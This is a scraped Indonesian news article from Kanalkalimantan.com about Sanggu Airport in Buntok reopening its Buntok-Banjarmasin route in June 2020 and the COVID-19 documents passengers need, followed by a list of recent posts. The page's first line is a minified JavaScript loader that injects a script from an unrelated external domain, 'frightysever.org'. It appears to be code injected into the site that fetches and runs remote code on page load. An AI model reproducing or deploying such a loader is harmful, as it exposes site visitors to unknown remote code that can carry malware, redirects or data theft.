(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Bisnis

Besok Bandara Sanggu Buka Rute Buntok-Banjarmasin, Ini Persyaratan Bisa Ikut Penerbangan


KANALKALIMANTAN.COM, BUNTOK – Mulai besok Jum’at (12/6/2020) Bandara Sanggu akan kembali beroperasi dengan membuka penerbangan rute Buntok-Banjarmasin.

Kepala UPBU Sanggu Buntok Agus Priyatmono mengatakan, berdasarkan surat edaran gugus tugas pusat nomor 5 tahun 2020 tentang perubahan atas edaran nomor 4 tahun 2020, maka penerbangan tujuan Buntok-Banjarmasin kembali dibuka untuk penumpang dengan beberapa kategori dan persyaratan.

“Jadi lewat surat edaran yang telah kita terima, Bandara Sanggu kembali membuka penerbangan Buntok-Banjarmasin dengan beberapa persyaratan,” kata Agus kepada Kanalkalimantan.com, Kamis (11/6/2020).

Persyaratan penerbangan dan aturan pelayanan SOP Bandara Sanggu Buntok.

Adapun beberapa kategori penumpang tersebut antara lain, penumpang bagi perjalanan yang bekerja pada lembaga pemerintahaan atau swasta, perjalanan pasien yang butuh pelayanan darurat dan repatriasi pekerja migran Indonesia serta penumpang umum.

“Untuk beberapa kategori penumpang tersebut akan boleh ikut penerbangan dengan menyertakan kelengkapan persyaratan yang telah ada sebagai sarat penerbangan nanti,” jelas Agus.

Lebih lanjut olehnya untuk penerbangan umum juga miliki persyaratan seperti menyediakan surat bebas sakit Covid-19 dengan dibuktikan hasil rapid test, Swab test atau kalau daerahnya tidak ada fasilitas tersebut surat keterangan dari Puskesmas atau rumah sakit setempat.

“Jadi persyaratan yang telah ditentukan harus dilengkapi terlebih dahulu baru bisa ikut penerbangan,” tegas Agus.

Ditambahkan olehnya bahwa pihaknya juga mempersiapkan pelayanan SOP penerbangan New Normal dalam pandemi Covid-19, guna menghindari dari penyebaran Covid-19 ini.

“Jadi Bandara Sanggu membuka penerbangan ini kembali sudah sesuai standar protokol yang ada,” pungkas Agus. (kanalkalimantan.com/digdo)

Reporter : digdo
Editor : bie

 


Al Ghifari

Recent Posts

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

2 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

5 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

14 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

15 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

17 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

18 jam ago

This website uses cookies.